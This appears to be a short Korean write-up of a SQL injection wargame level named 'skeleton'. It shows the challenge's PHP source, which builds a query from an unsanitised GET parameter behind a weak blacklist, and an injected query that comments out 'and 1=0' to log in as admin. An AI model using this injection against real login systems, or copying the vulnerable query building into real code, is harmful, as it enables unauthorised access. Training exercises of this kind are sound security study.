<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id'] == 'admin') solve("skeleton");
highlight_file(__FILE__);
?>
문제 난이도가 좀 요동치는거 같은데 이 쿼리는 and 1=0 때문에 무조건 false가 나온다
그렇기 때문에 반드시 뒤 쿼리를 주석해줘야된다
select id from prob_skeleton where id='guest' and pw='' or id='admin' -- a' and 1=0